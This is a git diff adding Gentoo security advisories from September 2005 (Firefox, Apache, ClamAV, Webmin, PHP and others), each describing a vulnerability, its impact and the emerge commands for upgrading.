+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.7</unaffected>
+      <vulnerable range="lt">1.0.7</vulnerable>
+    </package>
+    <package name="www-client/mozilla-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.7.12</unaffected>
+      <vulnerable range="lt">1.7.12</vulnerable>
+    </package>
+    <package name="net-libs/gecko-sdk" auto="yes" arch="*">
+      <unaffected range="ge">1.7.12</unaffected>
+      <vulnerable range="lt">1.7.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Suite is a popular all-in-one web browser that includes a
+    mail and news reader. Mozilla Firefox is the next-generation browser
+    from the Mozilla project. Gecko is the layout engine used in both
+    products.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Mozilla Suite and Firefox are both vulnerable to the following
+    issues:
+    </p>
+    <ul>
+    <li>Tom Ferris reported a heap overflow in IDN-enabled browsers with
+    malicious Host: headers (CAN-2005-2871).</li>
+    <li>"jackerror" discovered a heap overrun in XBM image processing
+    (CAN-2005-2701).</li>
+    <li>Mats Palmgren reported a potentially exploitable stack corruption
+    using specific Unicode sequences (CAN-2005-2702).</li>
+    <li>Georgi Guninski discovered an integer overflow in the JavaScript
+    engine (CAN-2005-2705)</li>
+    <li>Other issues ranging from DOM object spoofing to request header
+    spoofing were also found and fixed in the latest versions
+    (CAN-2005-2703, CAN-2005-2704, CAN-2005-2706, CAN-2005-2707).</li>
+    </ul>
+    <p>
+    The Gecko engine in itself is also affected by some of these issues and
+    has been updated as well.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could setup a malicious site and entice a victim to
+    visit it, potentially resulting in arbitrary code execution with the
+    victim's privileges or facilitated spoofing of known websites.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround for all the issues.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.0.7-r2&quot;</code>
+    <p>
+    All Mozilla Suite users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-1.7.12-r2&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.0.7&quot;</code>
+    <p>
+    All Mozilla Suite binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-bin-1.7.12&quot;</code>
+    <p>
+    All Gecko library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/gecko-sdk-1.7.12&quot;</code>
+    <p>
+    
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2701">CAN-2005-2701</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2702">CAN-2005-2702</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2703">CAN-2005-2703</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2704">CAN-2005-2704</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2705">CAN-2005-2705</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2706">CAN-2005-2706</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2707">CAN-2005-2707</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2871">CAN-2005-2871</uri>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html">Mozilla Foundation Security Advisories</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 15 Sep 2005 12:38:09 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Sep 2005 09:17:15 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-12.xml b/xml/htdocs/security/en/glsa/glsa-200509-12.xml
new file mode 100644
index 00000000..acb59490
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-12.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-12">
+  <title>Apache, mod_ssl: Multiple vulnerabilities</title>
+  <synopsis>
+    mod_ssl and Apache are vulnerable to a restriction bypass and a potential
+    local privilege escalation.
+  </synopsis>
+  <product type="ebuild">Apache</product>
+  <announced>September 19, 2005</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>103554</bug>
+  <bug>104807</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="net-www/mod_ssl" auto="yes" arch="*">
+      <unaffected range="ge">2.8.24</unaffected>
+      <vulnerable range="lt">2.8.24</vulnerable>
+    </package>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.0.54-r15</unaffected>
+      <unaffected range="lt">2</unaffected>
+      <vulnerable range="lt">2.0.54-r15</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is one of the most popular web servers on the
+    Internet. mod_ssl provides SSL v2/v3 and TLS v1 support for Apache 1.3
+    and is also included in Apache 2.
+    </p>
+  </background>
+  <description>
+    <p>
+    mod_ssl contains a security issue when "SSLVerifyClient optional" is
+    configured in the global virtual host configuration (CAN-2005-2700).
+    Also, Apache's httpd includes a PCRE library, which makes it vulnerable
+    to an integer overflow (CAN-2005-2491).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Under a specific configuration, mod_ssl does not properly enforce the
+    client-based certificate authentication directive, "SSLVerifyClient
+    require", in a per-location context, which could be potentially used by
+    a remote attacker to bypass some restrictions. By creating a specially
+    crafted ".htaccess" file, a local attacker could possibly exploit
+    Apache's vulnerability, which would result in a local privilege
+    escalation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mod_ssl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-www/mod_ssl-2.8.24&quot;</code>
+    <p>
+    All Apache 2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/apache-2.0.54-r15&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2491">CAN-2005-2491</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2700">CAN-2005-2700</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Sep 2005 10:15:26 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 16 Sep 2005 16:41:43 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 17 Sep 2005 14:36:28 +0000">
+    formula7
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-13.xml b/xml/htdocs/security/en/glsa/glsa-200509-13.xml
new file mode 100644
index 00000000..3591f187
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-13.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-13">
+  <title>Clam AntiVirus: Multiple vulnerabilities</title>
+  <synopsis>
+    Clam AntiVirus is subject to vulnerabilities ranging from Denial of Service
+    to execution of arbitrary code when handling compressed executables.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>September 19, 2005</announced>
+  <revised>September 19, 2005: 01</revised>
+  <bug>106279</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.87</unaffected>
+      <vulnerable range="lt">0.87</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is a GPL anti-virus toolkit, designed for
+    integration with mail servers to perform attachment scanning. Clam
+    AntiVirus also provides a command line scanner and a tool for fetching
+    updates of the virus database.
+    </p>
+  </background>
+  <description>
+    <p>
+    Clam AntiVirus is vulnerable to a buffer overflow in
+    "libclamav/upx.c" when processing malformed UPX-packed executables. It
+    can also be sent into an infinite loop in "libclamav/fsg.c" when
+    processing specially-crafted FSG-packed executables.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a specially-crafted file an attacker could execute
+    arbitrary code with the permissions of the user running Clam AntiVirus,
+    or cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Clam AntiVirus users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.87&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2919">CAN-2005-2919</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2920">CAN-2005-2920</uri>
+    <uri link="http://sourceforge.net/project/shownotes.php?release_id=356974">Clam AntiVirus: Release Notes</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 18 Sep 2005 16:20:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Sep 2005 16:20:41 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-14.xml b/xml/htdocs/security/en/glsa/glsa-200509-14.xml
new file mode 100644
index 00000000..5c0d60e7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-14.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-14">
+  <title>Zebedee: Denial of Service vulnerability</title>
+  <synopsis>
+    A bug in Zebedee allows a remote attacker to perform a Denial of Service
+    attack.
+  </synopsis>
+  <product type="ebuild">zebedee</product>
+  <announced>September 20, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>105115</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/zebedee" auto="yes" arch="*">
+      <unaffected range="rge">2.4.1-r1</unaffected>
+      <unaffected range="ge">2.5.3</unaffected>
+      <vulnerable range="lt">2.5.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Zebedee is an application that establishes an encrypted, compressed
+    tunnel for TCP/IP or UDP data transfer between two systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    "Shiraishi.M" reported that Zebedee crashes when "0" is received as the
+    port number in the protocol option header.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By performing malformed requests a remote attacker could cause Zebedee
+    to crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Zebedee users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose net-misc/zebedee</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/14796">BugTraq ID 14796</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2904">CVE-2005-2904</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 14 Sep 2005 10:16:59 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 16 Sep 2005 08:11:57 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 17 Sep 2005 12:52:52 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-15.xml b/xml/htdocs/security/en/glsa/glsa-200509-15.xml
new file mode 100644
index 00000000..3e00dc8a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-15.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-15">
+  <title>util-linux: umount command validation error</title>
+  <synopsis>
+    A command validation error in umount can lead to an escalation of
+    privileges.
+  </synopsis>
+  <product type="ebuild">util-linux</product>
+  <announced>September 20, 2005</announced>
+  <revised>September 20, 2005: 01</revised>
+  <bug>105805</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/util-linux" auto="yes" arch="*">
+      <unaffected range="ge">2.12q-r3</unaffected>
+      <vulnerable range="lt">2.12q-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    util-linux is a suite of useful Linux programs including umount, a
+    program used to unmount filesystems.
+    </p>
+  </background>
+  <description>
+    <p>
+    When a regular user mounts a filesystem, they are subject to
+    restrictions in the /etc/fstab configuration file. David Watson
+    discovered that when unmounting a filesystem with the '-r' option, the
+    read-only bit is set, while other bits, such as nosuid or nodev, are
+    not set, even if they were previously.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An unprivileged user facing nosuid or nodev restrictions can
+    umount -r a filesystem clearing those bits, allowing applications to be
+    executed suid, or have device nodes interpreted. In the case where the
+    user can freely modify the contents of the filesystem, privilege
+    escalation may occur as a custom program may execute with suid
+    permissions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Two workarounds exist, first, the suid bit can be removed from the
+    umount utility, or users can be restricted from mounting and unmounting
+    filesystems in /etc/fstab.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All util-linux users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/util-linux-2.12q-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-2876">CAN-2005-2876</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 17 Sep 2005 16:18:46 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 19 Sep 2005 16:52:19 +0000">
+    r2d2
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 20 Sep 2005 14:09:16 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-16.xml b/xml/htdocs/security/en/glsa/glsa-200509-16.xml
new file mode 100644
index 00000000..8eb90529
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-16.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-16">
+  <title>Mantis: XSS and SQL injection vulnerabilities</title>
+  <synopsis>
+    Mantis is affected by an SQL injection and several cross-site scripting
+    (XSS) vulnerabilities.
+  </synopsis>
+  <product type="ebuild">Mantis</product>
+  <announced>September 24, 2005</announced>
+  <revised>September 24, 2005: 01</revised>
+  <bug>103308</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/mantisbt" auto="yes" arch="*">
+      <unaffected range="ge">0.19.2</unaffected>
+      <vulnerable range="lt">0.19.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mantis is a web-based bugtracking system written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mantis fails to properly sanitize untrusted input before using it.
+    This leads to an SQL injection and several cross-site scripting
+    vulnerabilities.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could possibly use the SQL injection vulnerability to
+    access or modify information from the Mantis database. Furthermore the
+    cross-site scripting issues give an attacker the ability to inject and
+    execute malicious script code or to steal cookie-based authentication
+    credentials, potentially compromising the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mantis users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/mantisbt-0.19.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2556">CAN-2005-2556</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2557">CAN-2005-2557</uri>
+    <uri link="http://secunia.com/advisories/16506/">Secunia Advisory SA16506</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 23 Sep 2005 12:20:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 23 Sep 2005 12:21:10 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-17.xml b/xml/htdocs/security/en/glsa/glsa-200509-17.xml
new file mode 100644
index 00000000..7d98617c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-17.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-17">
+  <title>Webmin, Usermin: Remote code execution through PAM authentication</title>
+  <synopsis>
+    If Webmin or Usermin is configured to use full PAM conversations, it is
+    vulnerable to the remote execution of arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">Webmin Usermin</product>
+  <announced>September 24, 2005</announced>
+  <revised>September 24, 2005: 01</revised>
+  <bug>106705</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/webmin" auto="yes" arch="*">
+      <unaffected range="ge">1.230</unaffected>
+      <vulnerable range="lt">1.230</vulnerable>
+    </package>
+    <package name="app-admin/usermin" auto="yes" arch="*">
+      <unaffected range="ge">1.160</unaffected>
+      <vulnerable range="lt">1.160</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Webmin and Usermin are web-based system administration consoles.
+    Webmin allows an administrator to easily configure servers and other
+    features. Usermin allows users to configure their own accounts, execute
+    commands, and read e-mails.
+    </p>
+  </background>
+  <description>
+    <p>
+    Keigo Yamazaki discovered that the miniserv.pl webserver, used in
+    both Webmin and Usermin, does not properly validate authentication
+    credentials before sending them to the PAM (Pluggable Authentication
+    Modules) authentication process. The default configuration shipped with
+    Gentoo does not enable the "full PAM conversations" option and is
+    therefore unaffected by this flaw.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could bypass the authentication process and run
+    any command as the root user on the target server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not enable "full PAM conversations" in the Authentication
+    options of Webmin and Usermin.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Webmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/webmin-1.230&quot;</code>
+    <p>
+    All Usermin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/usermin-1.160&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3042">CAN-2005-3042</uri>
+    <uri link="http://www.lac.co.jp/business/sns/intelligence/SNSadvisory_e/83_e.html">Original Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 23 Sep 2005 12:50:05 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 23 Sep 2005 12:50:25 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-18.xml b/xml/htdocs/security/en/glsa/glsa-200509-18.xml
new file mode 100644
index 00000000..362c91b7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-18.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-18">
+  <title>Qt: Buffer overflow in the included zlib library</title>
+  <synopsis>
+    Qt is vulnerable to a buffer overflow which could potentially lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">qt</product>
+  <announced>September 26, 2005</announced>
+  <revised>September 26, 2005: 02</revised>
+  <bug>105695</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-libs/qt" auto="yes" arch="*">
+      <unaffected range="ge">3.3.4-r8</unaffected>
+      <vulnerable range="lt">3.3.4-r8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Qt is a cross-platform GUI toolkit used by KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    Qt links to a bundled vulnerable version of zlib when emerged with the
+    zlib USE-flag disabled. This may lead to a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By creating a specially crafted compressed data stream, attackers can
+    overwrite data structures for applications that use Qt, resulting in a
+    Denial of Service or potentially arbitrary code execution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Emerge Qt with the zlib USE-flag enabled.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Qt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/qt-3.3.4-r8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200507-05.xml">GLSA 200507-05</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200507-19.xml">GLSA 200507-19</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1849">CAN-2005-1849</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2096">CAN-2005-2096</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 22 Sep 2005 16:49:17 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 23 Sep 2005 12:32:05 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-19.xml b/xml/htdocs/security/en/glsa/glsa-200509-19.xml
new file mode 100644
index 00000000..31d219da
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-19.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-19">
+  <title>PHP: Vulnerabilities in included PCRE and XML-RPC libraries</title>
+  <synopsis>
+    PHP makes use of an affected PCRE library and ships with an affected
+    XML-RPC library and is therefore potentially vulnerable to remote execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">PHP</product>
+  <announced>September 27, 2005</announced>
+  <revised>September 27, 2005: 01</revised>
+  <bug>102373</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/php" auto="yes" arch="*">
+      <unaffected range="rge">4.3.11-r1</unaffected>
+      <unaffected range="ge">4.4.0-r1</unaffected>
+      <vulnerable range="lt">4.4.0-r1</vulnerable>
+    </package>
+    <package name="dev-php/mod_php" auto="yes" arch="*">
+      <unaffected range="rge">4.3.11-r1</unaffected>
+      <unaffected range="ge">4.4.0-r2</unaffected>
+      <vulnerable range="lt">4.4.0-r2</vulnerable>
+    </package>
+    <package name="dev-php/php-cgi" auto="yes" arch="*">
+      <unaffected range="rge">4.3.11-r2</unaffected>
+      <unaffected range="ge">4.4.0-r2</unaffected>
+      <vulnerable range="lt">4.4.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a general-purpose scripting language widely used to develop
+    web-based applications. It can run inside a web server using the
+    mod_php module or the CGI version of PHP, or can run stand-alone in a
+    CLI.
+    </p>
+  </background>
+  <description>
+    <p>
+    PHP makes use of a private copy of libpcre which is subject to an
+    integer overflow leading to a heap overflow (see GLSA 200508-17). It
+    also ships with an XML-RPC library affected by a script injection
+    vulnerability (see GLSA 200508-13).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could target a PHP-based web application that would
+    use untrusted data as regular expressions, potentially resulting in the
+    execution of arbitrary code. If web applications make use of the
+    XML-RPC library shipped with PHP, they are also vulnerable to remote
+    execution of arbitrary PHP code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-php/php</code>
+    <p>
+    All mod_php users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-php/mod_php</code>
+    <p>
+    All php-cgi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-php/php-cgi</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2491">CAN-2005-2491</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2498">CAN-2005-2498</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200508-13.xml">GLSA 200508-13</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200508-17.xml">GLSA 200508-17</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 26 Sep 2005 15:50:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 27 Sep 2005 07:58:50 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200509-20.xml b/xml/htdocs/security/en/glsa/glsa-200509-20.xml
new file mode 100644
index 00000000..ab2ae2e8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200509-20.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200509-20">
+  <title>AbiWord: RTF import stack-based buffer overflow</title>
+  <synopsis>
+    AbiWord is vulnerable to a stack-based buffer overflow during RTF import,
+    making it vulnerable to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">AbiWord</product>
+  <announced>September 30, 2005</announced>
+  <revised>September 30, 2005: 01</revised>
+  <bug>107351</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/abiword" auto="yes" arch="*">
+      <unaffected range="ge">2.2.10</unaffected>
+      <vulnerable range="lt">2.2.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    AbiWord is a free and cross-platform word processing program. It
+    allows to import RTF files into AbiWord documents.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans discovered that the RTF import function in AbiWord is
+    vulnerable to a stack-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could design a malicious RTF file and entice the user
+    to import it in AbiWord, potentially resulting in the execution of
+    arbitrary code with the rights of the user running AbiWord.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AbiWord users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/abiword-2.2.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2964">CAN-2005-2964</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 28 Sep 2005 16:02:24 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 29 Sep 2005 12:13:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 29 Sep 2005 20:47:05 +0000">
+    jaervosz
+  </metadata>
+</glsa>
